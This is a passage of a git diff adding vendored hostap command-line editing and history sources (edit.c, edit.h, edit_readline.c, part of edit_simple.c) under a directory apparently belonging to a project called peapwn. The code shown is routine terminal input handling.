+char * freq_range_list_str(const struct wpa_freq_range_list *list); + +#define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0])) + + +/* + * gcc 4.4 ends up generating strict-aliasing warnings about some very common + * networking socket uses that do not really result in a real problem and + * cannot be easily avoided with union-based type-punning due to struct + * definitions including another struct in system header files. To avoid having + * to fully disable strict-aliasing warnings, provide a mechanism to hide the + * typecast from aliasing for now. A cleaner solution will hopefully be found + * in the future to handle these cases. + */ +void * __hide_aliasing_typecast(void *foo); +#define aliasing_hide_typecast(a,t) (t *) __hide_aliasing_typecast((a)) + +#ifdef CONFIG_VALGRIND +#include +#define WPA_MEM_DEFINED(ptr, len) VALGRIND_MAKE_MEM_DEFINED((ptr), (len)) +#else /* CONFIG_VALGRIND */ +#define WPA_MEM_DEFINED(ptr, len) do { } while (0) +#endif /* CONFIG_VALGRIND */ + +#endif /* COMMON_H */ diff --git a/peapwn/mods/hostap/src/utils/edit.c b/peapwn/mods/hostap/src/utils/edit.c new file mode 100644 index 000000000..177ecf41d --- /dev/null +++ b/peapwn/mods/hostap/src/utils/edit.c @@ -0,0 +1,1174 @@ +/* + * Command line editing and history + * Copyright (c) 2010-2011, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" +#include + +#include "common.h" +#include "eloop.h" +#include "list.h" +#include "edit.h" + +#define CMD_BUF_LEN 256 +static char cmdbuf[CMD_BUF_LEN]; +static int cmdbuf_pos = 0; +static int cmdbuf_len = 0; +static char currbuf[CMD_BUF_LEN]; +static int currbuf_valid = 0; +static const char *ps2 = NULL; + +#define HISTORY_MAX 100 + +struct edit_history { + struct dl_list list; + char str[1]; +}; + +static struct dl_list history_list; +static struct edit_history *history_curr; + +static void *edit_cb_ctx; +static void (*edit_cmd_cb)(void *ctx, char *cmd); +static void (*edit_eof_cb)(void *ctx); +static char ** (*edit_completion_cb)(void *ctx, const char *cmd, int pos) = + NULL; + +static struct termios prevt, newt; + + +#define CLEAR_END_LINE "\e[K" + + +void edit_clear_line(void) +{ + int i; + putchar('\r'); + for (i = 0; i < cmdbuf_len + 2 + (ps2 ? (int) os_strlen(ps2) : 0); i++) + putchar(' '); +} + + +static void move_start(void) +{ + cmdbuf_pos = 0; + edit_redraw(); +} + + +static void move_end(void) +{ + cmdbuf_pos = cmdbuf_len; + edit_redraw(); +} + + +static void move_left(void) +{ + if (cmdbuf_pos > 0) { + cmdbuf_pos--; + edit_redraw(); + } +} + + +static void move_right(void) +{ + if (cmdbuf_pos < cmdbuf_len) { + cmdbuf_pos++; + edit_redraw(); + } +} + + +static void move_word_left(void) +{ + while (cmdbuf_pos > 0 && cmdbuf[cmdbuf_pos - 1] == ' ') + cmdbuf_pos--; + while (cmdbuf_pos > 0 && cmdbuf[cmdbuf_pos - 1] != ' ') + cmdbuf_pos--; + edit_redraw(); +} + + +static void move_word_right(void) +{ + while (cmdbuf_pos < cmdbuf_len && cmdbuf[cmdbuf_pos] == ' ') + cmdbuf_pos++; + while (cmdbuf_pos < cmdbuf_len && cmdbuf[cmdbuf_pos] != ' ') + cmdbuf_pos++; + edit_redraw(); +} + + +static void delete_left(void) +{ + if (cmdbuf_pos == 0) + return; + + edit_clear_line(); + os_memmove(cmdbuf + cmdbuf_pos - 1, cmdbuf + cmdbuf_pos, + cmdbuf_len - cmdbuf_pos); + cmdbuf_pos--; + cmdbuf_len--; + edit_redraw(); +} + + +static void delete_current(void) +{ + if (cmdbuf_pos == cmdbuf_len) + return; + + edit_clear_line(); + os_memmove(cmdbuf + cmdbuf_pos, cmdbuf + cmdbuf_pos + 1, + cmdbuf_len - cmdbuf_pos); + cmdbuf_len--; + edit_redraw(); +} + + +static void delete_word(void) +{ + int pos; + + edit_clear_line(); + pos = cmdbuf_pos; + while (pos > 0 && cmdbuf[pos - 1] == ' ') + pos--; + while (pos > 0 && cmdbuf[pos - 1] != ' ') + pos--; + os_memmove(cmdbuf + pos, cmdbuf + cmdbuf_pos, cmdbuf_len - cmdbuf_pos); + cmdbuf_len -= cmdbuf_pos - pos; + cmdbuf_pos = pos; + edit_redraw(); +} + + +static void clear_left(void) +{ + if (cmdbuf_pos == 0) + return; + + edit_clear_line(); + os_memmove(cmdbuf, cmdbuf + cmdbuf_pos, cmdbuf_len - cmdbuf_pos); + cmdbuf_len -= cmdbuf_pos; + cmdbuf_pos = 0; + edit_redraw(); +} + + +static void clear_right(void) +{ + if (cmdbuf_pos == cmdbuf_len) + return; + + edit_clear_line(); + cmdbuf_len = cmdbuf_pos; + edit_redraw(); +} + + +static void history_add(const char *str) +{ + struct edit_history *h, *match = NULL, *last = NULL; + size_t len, count = 0; + + if (str[0] == '\0') + return; + + dl_list_for_each(h, &history_list, struct edit_history, list) { + if (os_strcmp(str, h->str) == 0) { + match = h; + break; + } + last = h; + count++; + } + + if (match) { + dl_list_del(&h->list); + dl_list_add(&history_list, &h->list); + history_curr = h; + return; + } + + if (count >= HISTORY_MAX && last) { + dl_list_del(&last->list); + os_free(last); + } + + len = os_strlen(str); + h = os_zalloc(sizeof(*h) + len); + if (h == NULL) + return; + dl_list_add(&history_list, &h->list); + os_strlcpy(h->str, str, len + 1); + history_curr = h; +} + + +static void history_use(void) +{ + edit_clear_line(); + cmdbuf_len = cmdbuf_pos = os_strlen(history_curr->str); + os_memcpy(cmdbuf, history_curr->str, cmdbuf_len); + edit_redraw(); +} + + +static void history_prev(void) +{ + if (history_curr == NULL) + return; + + if (history_curr == + dl_list_first(&history_list, struct edit_history, list)) { + if (!currbuf_valid) { + cmdbuf[cmdbuf_len] = '\0'; + os_memcpy(currbuf, cmdbuf, cmdbuf_len + 1); + currbuf_valid = 1; + history_use(); + return; + } + } + + if (history_curr == + dl_list_last(&history_list, struct edit_history, list)) + return; + + history_curr = dl_list_entry(history_curr->list.next, + struct edit_history, list); + history_use(); +} + + +static void history_next(void) +{ + if (history_curr == NULL || + history_curr == + dl_list_first(&history_list, struct edit_history, list)) { + if (currbuf_valid) { + currbuf_valid = 0; + edit_clear_line(); + cmdbuf_len = cmdbuf_pos = os_strlen(currbuf); + os_memcpy(cmdbuf, currbuf, cmdbuf_len); + edit_redraw(); + } + return; + } + + history_curr = dl_list_entry(history_curr->list.prev, + struct edit_history, list); + history_use(); +} + + +static void history_read(const char *fname) +{ + FILE *f; + char buf[CMD_BUF_LEN], *pos; + + f = fopen(fname, "r"); + if (f == NULL) + return; + + while (fgets(buf, CMD_BUF_LEN, f)) { + for (pos = buf; *pos; pos++) { + if (*pos == '\r' || *pos == '\n') { + *pos = '\0'; + break; + } + } + history_add(buf); + } + + fclose(f); +} + + +static void history_write(const char *fname, + int (*filter_cb)(void *ctx, const char *cmd)) +{ + FILE *f; + struct edit_history *h; + + f = fopen(fname, "w"); + if (f == NULL) + return; + + dl_list_for_each_reverse(h, &history_list, struct edit_history, list) { + if (filter_cb && filter_cb(edit_cb_ctx, h->str)) + continue; + fprintf(f, "%s\n", h->str); + } + + fclose(f); +} + + +static void history_debug_dump(void) +{ + struct edit_history *h; + edit_clear_line(); + printf("\r"); + dl_list_for_each_reverse(h, &history_list, struct edit_history, list) + printf("%s%s\n", h == history_curr ? "[C]" : "", h->str); + if (currbuf_valid) + printf("{%s}\n", currbuf); + edit_redraw(); +} + + +static void insert_char(int c) +{ + if (cmdbuf_len >= (int) sizeof(cmdbuf) - 1) + return; + if (cmdbuf_len == cmdbuf_pos) { + cmdbuf[cmdbuf_pos++] = c; + cmdbuf_len++; + putchar(c); + fflush(stdout); + } else { + os_memmove(cmdbuf + cmdbuf_pos + 1, cmdbuf + cmdbuf_pos, + cmdbuf_len - cmdbuf_pos); + cmdbuf[cmdbuf_pos++] = c; + cmdbuf_len++; + edit_redraw(); + } +} + + +static void process_cmd(void) +{ + currbuf_valid = 0; + if (cmdbuf_len == 0) { + printf("\n%s> ", ps2 ? ps2 : ""); + fflush(stdout); + return; + } + printf("\n"); + cmdbuf[cmdbuf_len] = '\0'; + history_add(cmdbuf); + cmdbuf_pos = 0; + cmdbuf_len = 0; + edit_cmd_cb(edit_cb_ctx, cmdbuf); + printf("%s> ", ps2 ? ps2 : ""); + fflush(stdout); +} + + +static void free_completions(char **c) +{ + int i; + if (c == NULL) + return; + for (i = 0; c[i]; i++) + os_free(c[i]); + os_free(c); +} + + +static int filter_strings(char **c, char *str, size_t len) +{ + int i, j; + + for (i = 0, j = 0; c[j]; j++) { + if (os_strncasecmp(c[j], str, len) == 0) { + if (i != j) { + c[i] = c[j]; + c[j] = NULL; + } + i++; + } else { + os_free(c[j]); + c[j] = NULL; + } + } + c[i] = NULL; + return i; +} + + +static int common_len(const char *a, const char *b) +{ + int len = 0; + while (a[len] && a[len] == b[len]) + len++; + return len; +} + + +static int max_common_length(char **c) +{ + int len, i; + + len = os_strlen(c[0]); + for (i = 1; c[i]; i++) { + int same = common_len(c[0], c[i]); + if (same < len) + len = same; + } + + return len; +} + + +static int cmp_str(const void *a, const void *b) +{ + return os_strcmp(* (const char **) a, * (const char **) b); +} + +static void complete(int list) +{ + char **c; + int i, len, count; + int start, end; + int room, plen, add_space; + + if (edit_completion_cb == NULL) + return; + + cmdbuf[cmdbuf_len] = '\0'; + c = edit_completion_cb(edit_cb_ctx, cmdbuf, cmdbuf_pos); + if (c == NULL) + return; + + end = cmdbuf_pos; + start = end; + while (start > 0 && cmdbuf[start - 1] != ' ') + start--; + plen = end - start; + + count = filter_strings(c, &cmdbuf[start], plen); + if (count == 0) { + free_completions(c); + return; + } + + len = max_common_length(c); + if (len <= plen && count > 1) { + if (list) { + qsort(c, count, sizeof(char *), cmp_str); + edit_clear_line(); + printf("\r"); + for (i = 0; c[i]; i++) + printf("%s%s", i > 0 ? " " : "", c[i]); + printf("\n"); + edit_redraw(); + } + free_completions(c); + return; + } + len -= plen; + + room = sizeof(cmdbuf) - 1 - cmdbuf_len; + if (room < len) + len = room; + add_space = count == 1 && len < room; + + os_memmove(cmdbuf + cmdbuf_pos + len + add_space, cmdbuf + cmdbuf_pos, + cmdbuf_len - cmdbuf_pos); + os_memcpy(&cmdbuf[cmdbuf_pos - plen], c[0], plen + len); + if (add_space) + cmdbuf[cmdbuf_pos + len] = ' '; + + cmdbuf_pos += len + add_space; + cmdbuf_len += len + add_space; + + edit_redraw(); + + free_completions(c); +} + + +enum edit_key_code { + EDIT_KEY_NONE = 256, + EDIT_KEY_TAB, + EDIT_KEY_UP, + EDIT_KEY_DOWN, + EDIT_KEY_RIGHT, + EDIT_KEY_LEFT, + EDIT_KEY_ENTER, + EDIT_KEY_BACKSPACE, + EDIT_KEY_INSERT, + EDIT_KEY_DELETE, + EDIT_KEY_HOME, + EDIT_KEY_END, + EDIT_KEY_PAGE_UP, + EDIT_KEY_PAGE_DOWN, + EDIT_KEY_F1, + EDIT_KEY_F2, + EDIT_KEY_F3, + EDIT_KEY_F4, + EDIT_KEY_F5, + EDIT_KEY_F6, + EDIT_KEY_F7, + EDIT_KEY_F8, + EDIT_KEY_F9, + EDIT_KEY_F10, + EDIT_KEY_F11, + EDIT_KEY_F12, + EDIT_KEY_CTRL_UP, + EDIT_KEY_CTRL_DOWN, + EDIT_KEY_CTRL_RIGHT, + EDIT_KEY_CTRL_LEFT, + EDIT_KEY_CTRL_A, + EDIT_KEY_CTRL_B, + EDIT_KEY_CTRL_D, + EDIT_KEY_CTRL_E, + EDIT_KEY_CTRL_F, + EDIT_KEY_CTRL_G, + EDIT_KEY_CTRL_H, + EDIT_KEY_CTRL_J, + EDIT_KEY_CTRL_K, + EDIT_KEY_CTRL_L, + EDIT_KEY_CTRL_N, + EDIT_KEY_CTRL_O, + EDIT_KEY_CTRL_P, + EDIT_KEY_CTRL_R, + EDIT_KEY_CTRL_T, + EDIT_KEY_CTRL_U, + EDIT_KEY_CTRL_V, + EDIT_KEY_CTRL_W, + EDIT_KEY_ALT_UP, + EDIT_KEY_ALT_DOWN, + EDIT_KEY_ALT_RIGHT, + EDIT_KEY_ALT_LEFT, + EDIT_KEY_SHIFT_UP, + EDIT_KEY_SHIFT_DOWN, + EDIT_KEY_SHIFT_RIGHT, + EDIT_KEY_SHIFT_LEFT, + EDIT_KEY_ALT_SHIFT_UP, + EDIT_KEY_ALT_SHIFT_DOWN, + EDIT_KEY_ALT_SHIFT_RIGHT, + EDIT_KEY_ALT_SHIFT_LEFT, + EDIT_KEY_EOF +}; + +static void show_esc_buf(const char *esc_buf, char c, int i) +{ + edit_clear_line(); + printf("\rESC buffer '%s' c='%c' [%d]\n", esc_buf, c, i); + edit_redraw(); +} + + +static enum edit_key_code esc_seq_to_key1_no(char last) +{ + switch (last) { + case 'A': + return EDIT_KEY_UP; + case 'B': + return EDIT_KEY_DOWN; + case 'C': + return EDIT_KEY_RIGHT; + case 'D': + return EDIT_KEY_LEFT; + default: + return EDIT_KEY_NONE; + } +} + + +static enum edit_key_code esc_seq_to_key1_shift(char last) +{ + switch (last) { + case 'A': + return EDIT_KEY_SHIFT_UP; + case 'B': + return EDIT_KEY_SHIFT_DOWN; + case 'C': + return EDIT_KEY_SHIFT_RIGHT; + case 'D': + return EDIT_KEY_SHIFT_LEFT; + default: + return EDIT_KEY_NONE; + } +} + + +static enum edit_key_code esc_seq_to_key1_alt(char last) +{ + switch (last) { + case 'A': + return EDIT_KEY_ALT_UP; + case 'B': + return EDIT_KEY_ALT_DOWN; + case 'C': + return EDIT_KEY_ALT_RIGHT; + case 'D': + return EDIT_KEY_ALT_LEFT; + default: + return EDIT_KEY_NONE; + } +} + + +static enum edit_key_code esc_seq_to_key1_alt_shift(char last) +{ + switch (last) { + case 'A': + return EDIT_KEY_ALT_SHIFT_UP; + case 'B': + return EDIT_KEY_ALT_SHIFT_DOWN; + case 'C': + return EDIT_KEY_ALT_SHIFT_RIGHT; + case 'D': + return EDIT_KEY_ALT_SHIFT_LEFT; + default: + return EDIT_KEY_NONE; + } +} + + +static enum edit_key_code esc_seq_to_key1_ctrl(char last) +{ + switch (last) { + case 'A': + return EDIT_KEY_CTRL_UP; + case 'B': + return EDIT_KEY_CTRL_DOWN; + case 'C': + return EDIT_KEY_CTRL_RIGHT; + case 'D': + return EDIT_KEY_CTRL_LEFT; + default: + return EDIT_KEY_NONE; + } +} + + +static enum edit_key_code esc_seq_to_key1(int param1, int param2, char last) +{ + /* ESC-[; */ + + if (param1 < 0 && param2 < 0) + return esc_seq_to_key1_no(last); + + if (param1 == 1 && param2 == 2) + return esc_seq_to_key1_shift(last); + + if (param1 == 1 && param2 == 3) + return esc_seq_to_key1_alt(last); + + if (param1 == 1 && param2 == 4) + return esc_seq_to_key1_alt_shift(last); + + if (param1 == 1 && param2 == 5) + return esc_seq_to_key1_ctrl(last); + + if (param2 < 0) { + if (last != '~') + return EDIT_KEY_NONE; + switch (param1) { + case 2: + return EDIT_KEY_INSERT; + case 3: + return EDIT_KEY_DELETE; + case 5: + return EDIT_KEY_PAGE_UP; + case 6: + return EDIT_KEY_PAGE_DOWN; + case 15: + return EDIT_KEY_F5; + case 17: + return EDIT_KEY_F6; + case 18: + return EDIT_KEY_F7; + case 19: + return EDIT_KEY_F8; + case 20: + return EDIT_KEY_F9; + case 21: + return EDIT_KEY_F10; + case 23: + return EDIT_KEY_F11; + case 24: + return EDIT_KEY_F12; + } + } + + return EDIT_KEY_NONE; +} + + +static enum edit_key_code esc_seq_to_key2(int param1, int param2, char last) +{ + /* ESC-O; */ + + if (param1 >= 0 || param2 >= 0) + return EDIT_KEY_NONE; + + switch (last) { + case 'F': + return EDIT_KEY_END; + case 'H': + return EDIT_KEY_HOME; + case 'P': + return EDIT_KEY_F1; + case 'Q': + return EDIT_KEY_F2; + case 'R': + return EDIT_KEY_F3; + case 'S': + return EDIT_KEY_F4; + default: + return EDIT_KEY_NONE; + } +} + + +static enum edit_key_code esc_seq_to_key(char *seq) +{ + char last, *pos; + int param1 = -1, param2 = -1; + enum edit_key_code ret = EDIT_KEY_NONE; + + last = '\0'; + for (pos = seq; *pos; pos++) + last = *pos; + + if (seq[1] >= '0' && seq[1] <= '9') { + param1 = atoi(&seq[1]); + pos = os_strchr(seq, ';'); + if (pos) + param2 = atoi(pos + 1); + } + + if (seq[0] == '[') + ret = esc_seq_to_key1(param1, param2, last); + else if (seq[0] == 'O') + ret = esc_seq_to_key2(param1, param2, last); + + if (ret != EDIT_KEY_NONE) + return ret; + + edit_clear_line(); + printf("\rUnknown escape sequence '%s'\n", seq); + edit_redraw(); + return EDIT_KEY_NONE; +} + + +static enum edit_key_code edit_read_key(int sock) +{ + int c; + unsigned char buf[1]; + int res; + static int esc = -1; + static char esc_buf[7]; + + res = read(sock, buf, 1); + if (res < 0) + perror("read"); + if (res <= 0) + return EDIT_KEY_EOF; + + c = buf[0]; + + if (esc >= 0) { + if (c == 27 /* ESC */) { + esc = 0; + return EDIT_KEY_NONE; + } + + if (esc == 6) { + show_esc_buf(esc_buf, c, 0); + esc = -1; + } else { + esc_buf[esc++] = c; + esc_buf[esc] = '\0'; + } + } + + if (esc == 1) { + if (esc_buf[0] != '[' && esc_buf[0] != 'O') { + show_esc_buf(esc_buf, c, 1); + esc = -1; + return EDIT_KEY_NONE; + } else + return EDIT_KEY_NONE; /* Escape sequence continues */ + } + + if (esc > 1) { + if ((c >= '0' && c <= '9') || c == ';') + return EDIT_KEY_NONE; /* Escape sequence continues */ + + if (c == '~' || (c >= 'A' && c <= 'Z')) { + esc = -1; + return esc_seq_to_key(esc_buf); + } + + show_esc_buf(esc_buf, c, 2); + esc = -1; + return EDIT_KEY_NONE; + } + + switch (c) { + case 1: + return EDIT_KEY_CTRL_A; + case 2: + return EDIT_KEY_CTRL_B; + case 4: + return EDIT_KEY_CTRL_D; + case 5: + return EDIT_KEY_CTRL_E; + case 6: + return EDIT_KEY_CTRL_F; + case 7: + return EDIT_KEY_CTRL_G; + case 8: + return EDIT_KEY_CTRL_H; + case 9: + return EDIT_KEY_TAB; + case 10: + return EDIT_KEY_CTRL_J; + case 13: /* CR */ + return EDIT_KEY_ENTER; + case 11: + return EDIT_KEY_CTRL_K; + case 12: + return EDIT_KEY_CTRL_L; + case 14: + return EDIT_KEY_CTRL_N; + case 15: + return EDIT_KEY_CTRL_O; + case 16: + return EDIT_KEY_CTRL_P; + case 18: + return EDIT_KEY_CTRL_R; + case 20: + return EDIT_KEY_CTRL_T; + case 21: + return EDIT_KEY_CTRL_U; + case 22: + return EDIT_KEY_CTRL_V; + case 23: + return EDIT_KEY_CTRL_W; + case 27: /* ESC */ + esc = 0; + return EDIT_KEY_NONE; + case 127: + return EDIT_KEY_BACKSPACE; + default: + return c; + } +} + + +static char search_buf[21]; +static int search_skip; + +static char * search_find(void) +{ + struct edit_history *h; + size_t len = os_strlen(search_buf); + int skip = search_skip; + + if (len == 0) + return NULL; + + dl_list_for_each(h, &history_list, struct edit_history, list) { + if (os_strstr(h->str, search_buf)) { + if (skip == 0) + return h->str; + skip--; + } + } + + search_skip = 0; + return NULL; +} + + +static void search_redraw(void) +{ + char *match = search_find(); + printf("\rsearch '%s': %s" CLEAR_END_LINE, + search_buf, match ? match : ""); + printf("\rsearch '%s", search_buf); + fflush(stdout); +} + + +static void search_start(void) +{ + edit_clear_line(); + search_buf[0] = '\0'; + search_skip = 0; + search_redraw(); +} + + +static void search_clear(void) +{ + search_redraw(); + printf("\r" CLEAR_END_LINE); +} + + +static void search_stop(void) +{ + char *match = search_find(); + search_buf[0] = '\0'; + search_clear(); + if (match) { + os_strlcpy(cmdbuf, match, CMD_BUF_LEN); + cmdbuf_len = os_strlen(cmdbuf); + cmdbuf_pos = cmdbuf_len; + } + edit_redraw(); +} + + +static void search_cancel(void) +{ + search_buf[0] = '\0'; + search_clear(); + edit_redraw(); +} + + +static void search_backspace(void) +{ + size_t len; + len = os_strlen(search_buf); + if (len == 0) + return; + search_buf[len - 1] = '\0'; + search_skip = 0; + search_redraw(); +} + + +static void search_next(void) +{ + search_skip++; + search_find(); + search_redraw(); +} + + +static void search_char(char c) +{ + size_t len; + len = os_strlen(search_buf); + if (len == sizeof(search_buf) - 1) + return; + search_buf[len] = c; + search_buf[len + 1] = '\0'; + search_skip = 0; + search_redraw(); +} + + +static enum edit_key_code search_key(enum edit_key_code c) +{ + switch (c) { + case EDIT_KEY_ENTER: + case EDIT_KEY_CTRL_J: + case EDIT_KEY_LEFT: + case EDIT_KEY_RIGHT: + case EDIT_KEY_HOME: + case EDIT_KEY_END: + case EDIT_KEY_CTRL_A: + case EDIT_KEY_CTRL_E: + search_stop(); + return c; + case EDIT_KEY_DOWN: + case EDIT_KEY_UP: + search_cancel(); + return EDIT_KEY_EOF; + case EDIT_KEY_CTRL_H: + case EDIT_KEY_BACKSPACE: + search_backspace(); + break; + case EDIT_KEY_CTRL_R: + search_next(); + break; + default: + if (c >= 32 && c <= 255) + search_char(c); + break; + } + + return EDIT_KEY_NONE; +} + + +static void edit_read_char(int sock, void *eloop_ctx, void *sock_ctx) +{ + static int last_tab = 0; + static int search = 0; + enum edit_key_code c; + + c = edit_read_key(sock); + + if (search) { + c = search_key(c); + if (c == EDIT_KEY_NONE) + return; + search = 0; + if (c == EDIT_KEY_EOF) + return; + } + + if (c != EDIT_KEY_TAB && c != EDIT_KEY_NONE) + last_tab = 0; + + switch (c) { + case EDIT_KEY_NONE: + break; + case EDIT_KEY_EOF: + edit_eof_cb(edit_cb_ctx); + break; + case EDIT_KEY_TAB: + complete(last_tab); + last_tab = 1; + break; + case EDIT_KEY_UP: + case EDIT_KEY_CTRL_P: + history_prev(); + break; + case EDIT_KEY_DOWN: + case EDIT_KEY_CTRL_N: + history_next(); + break; + case EDIT_KEY_RIGHT: + case EDIT_KEY_CTRL_F: + move_right(); + break; + case EDIT_KEY_LEFT: + case EDIT_KEY_CTRL_B: + move_left(); + break; + case EDIT_KEY_CTRL_RIGHT: + move_word_right(); + break; + case EDIT_KEY_CTRL_LEFT: + move_word_left(); + break; + case EDIT_KEY_DELETE: + delete_current(); + break; + case EDIT_KEY_END: + move_end(); + break; + case EDIT_KEY_HOME: + case EDIT_KEY_CTRL_A: + move_start(); + break; + case EDIT_KEY_F2: + history_debug_dump(); + break; + case EDIT_KEY_CTRL_D: + if (cmdbuf_len > 0) { + delete_current(); + return; + } + printf("\n"); + edit_eof_cb(edit_cb_ctx); + break; + case EDIT_KEY_CTRL_E: + move_end(); + break; + case EDIT_KEY_CTRL_H: + case EDIT_KEY_BACKSPACE: + delete_left(); + break; + case EDIT_KEY_ENTER: + case EDIT_KEY_CTRL_J: + process_cmd(); + break; + case EDIT_KEY_CTRL_K: + clear_right(); + break; + case EDIT_KEY_CTRL_L: + edit_clear_line(); + edit_redraw(); + break; + case EDIT_KEY_CTRL_R: + search = 1; + search_start(); + break; + case EDIT_KEY_CTRL_U: + clear_left(); + break; + case EDIT_KEY_CTRL_W: + delete_word(); + break; + default: + if (c >= 32 && c <= 255) + insert_char(c); + break; + } +} + + +int edit_init(void (*cmd_cb)(void *ctx, char *cmd), + void (*eof_cb)(void *ctx), + char ** (*completion_cb)(void *ctx, const char *cmd, int pos), + void *ctx, const char *history_file, const char *ps) +{ + currbuf[0] = '\0'; + dl_list_init(&history_list); + history_curr = NULL; + if (history_file) + history_read(history_file); + + edit_cb_ctx = ctx; + edit_cmd_cb = cmd_cb; + edit_eof_cb = eof_cb; + edit_completion_cb = completion_cb; + + tcgetattr(STDIN_FILENO, &prevt); + newt = prevt; + newt.c_lflag &= ~(ICANON | ECHO); + tcsetattr(STDIN_FILENO, TCSANOW, &newt); + + eloop_register_read_sock(STDIN_FILENO, edit_read_char, NULL, NULL); + + ps2 = ps; + printf("%s> ", ps2 ? ps2 : ""); + fflush(stdout); + + return 0; +} + + +void edit_deinit(const char *history_file, + int (*filter_cb)(void *ctx, const char *cmd)) +{ + struct edit_history *h; + if (history_file) + history_write(history_file, filter_cb); + while ((h = dl_list_first(&history_list, struct edit_history, list))) { + dl_list_del(&h->list); + os_free(h); + } + edit_clear_line(); + putchar('\r'); + fflush(stdout); + eloop_unregister_read_sock(STDIN_FILENO); + tcsetattr(STDIN_FILENO, TCSANOW, &prevt); +} + + +void edit_redraw(void) +{ + char tmp; + cmdbuf[cmdbuf_len] = '\0'; + printf("\r%s> %s", ps2 ? ps2 : "", cmdbuf); + if (cmdbuf_pos != cmdbuf_len) { + tmp = cmdbuf[cmdbuf_pos]; + cmdbuf[cmdbuf_pos] = '\0'; + printf("\r%s> %s", ps2 ? ps2 : "", cmdbuf); + cmdbuf[cmdbuf_pos] = tmp; + } + fflush(stdout); +} diff --git a/peapwn/mods/hostap/src/utils/edit.h b/peapwn/mods/hostap/src/utils/edit.h new file mode 100644 index 000000000..ad27f1c7a --- /dev/null +++ b/peapwn/mods/hostap/src/utils/edit.h @@ -0,0 +1,21 @@ +/* + * Command line editing and history + * Copyright (c) 2010, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef EDIT_H +#define EDIT_H + +int edit_init(void (*cmd_cb)(void *ctx, char *cmd), + void (*eof_cb)(void *ctx), + char ** (*completion_cb)(void *ctx, const char *cmd, int pos), + void *ctx, const char *history_file, const char *ps); +void edit_deinit(const char *history_file, + int (*filter_cb)(void *ctx, const char *cmd)); +void edit_clear_line(void); +void edit_redraw(void); + +#endif /* EDIT_H */ diff --git a/peapwn/mods/hostap/src/utils/edit_readline.c b/peapwn/mods/hostap/src/utils/edit_readline.c new file mode 100644 index 000000000..c2a5bcaa1 --- /dev/null +++ b/peapwn/mods/hostap/src/utils/edit_readline.c @@ -0,0 +1,192 @@ +/* + * Command line editing and history wrapper for readline + * Copyright (c) 2010, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" +#include +#include + +#include "common.h" +#include "eloop.h" +#include "edit.h" + + +static void *edit_cb_ctx; +static void (*edit_cmd_cb)(void *ctx, char *cmd); +static void (*edit_eof_cb)(void *ctx); +static char ** (*edit_completion_cb)(void *ctx, const char *cmd, int pos) = + NULL; + +static char **pending_completions = NULL; + + +static void readline_free_completions(void) +{ + int i; + if (pending_completions == NULL) + return; + for (i = 0; pending_completions[i]; i++) + os_free(pending_completions[i]); + os_free(pending_completions); + pending_completions = NULL; +} + + +static char * readline_completion_func(const char *text, int state) +{ + static int pos = 0; + static size_t len = 0; + + if (pending_completions == NULL) { + rl_attempted_completion_over = 1; + return NULL; + } + + if (state == 0) { + pos = 0; + len = os_strlen(text); + } + for (; pending_completions[pos]; pos++) { + if (strncmp(pending_completions[pos], text, len) == 0) + return strdup(pending_completions[pos++]); + } + + rl_attempted_completion_over = 1; + return NULL; +} + + +static char ** readline_completion(const char *text, int start, int end) +{ + readline_free_completions(); + if (edit_completion_cb) + pending_completions = edit_completion_cb(edit_cb_ctx, + rl_line_buffer, end); + return rl_completion_matches(text, readline_completion_func); +} + + +static void edit_read_char(int sock, void *eloop_ctx, void *sock_ctx) +{ + rl_callback_read_char(); +} + + +static void trunc_nl(char *str) +{ + char *pos = str; + while (*pos != '\0') { + if (*pos == '\n') { + *pos = '\0'; + break; + } + pos++; + } +} + + +static void readline_cmd_handler(char *cmd) +{ + if (cmd && *cmd) { + HIST_ENTRY *h; + while (next_history()) + ; + h = previous_history(); + if (h == NULL || os_strcmp(cmd, h->line) != 0) + add_history(cmd); + next_history(); + } + if (cmd == NULL) { + edit_eof_cb(edit_cb_ctx); + return; + } + trunc_nl(cmd); + edit_cmd_cb(edit_cb_ctx, cmd); +} + + +int edit_init(void (*cmd_cb)(void *ctx, char *cmd), + void (*eof_cb)(void *ctx), + char ** (*completion_cb)(void *ctx, const char *cmd, int pos), + void *ctx, const char *history_file, const char *ps) +{ + edit_cb_ctx = ctx; + edit_cmd_cb = cmd_cb; + edit_eof_cb = eof_cb; + edit_completion_cb = completion_cb; + + rl_attempted_completion_function = readline_completion; + if (history_file) { + read_history(history_file); + stifle_history(100); + } + + eloop_register_read_sock(STDIN_FILENO, edit_read_char, NULL, NULL); + + if (ps) { + size_t blen = os_strlen(ps) + 3; + char *ps2 = os_malloc(blen); + if (ps2) { + os_snprintf(ps2, blen, "%s> ", ps); + rl_callback_handler_install(ps2, readline_cmd_handler); + os_free(ps2); + return 0; + } + } + + rl_callback_handler_install("> ", readline_cmd_handler); + + return 0; +} + + +void edit_deinit(const char *history_file, + int (*filter_cb)(void *ctx, const char *cmd)) +{ + rl_set_prompt(""); + rl_replace_line("", 0); + rl_redisplay(); + rl_callback_handler_remove(); + readline_free_completions(); + + eloop_unregister_read_sock(STDIN_FILENO); + + if (history_file) { + /* Save command history, excluding lines that may contain + * passwords. */ + HIST_ENTRY *h; + history_set_pos(0); + while ((h = current_history())) { + char *p = h->line; + while (*p == ' ' || *p == '\t') + p++; + if (filter_cb && filter_cb(edit_cb_ctx, p)) { + h = remove_history(where_history()); + if (h) { + free(h->line); + free(h->data); + free(h); + } else + next_history(); + } else + next_history(); + } + write_history(history_file); + } +} + + +void edit_clear_line(void) +{ +} + + +void edit_redraw(void) +{ + rl_on_new_line(); + rl_redisplay(); +} diff --git a/peapwn/mods/hostap/src/utils/edit_simple.c b/peapwn/mods/hostap/src/utils/edit_simple.c new file mode 100644 index 000000000..a095ea6ab --- /dev/null +++ b/peapwn/mods/hostap/src/utils/edit_simple.c @@ -0,0 +1,92 @@ +/* + * Minimal command line editing + * Copyright (c) 2010, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "eloop.h" +#include "edit.h" + + +#define CMD_BUF_LEN 256 +static char cmdbuf[CMD_BUF_LEN]; +static int cmdbuf_pos = 0; +static const char *ps2 = NULL; + +static void *edit_cb_ctx; +static void (*edit_cmd_cb)(void *ctx, char 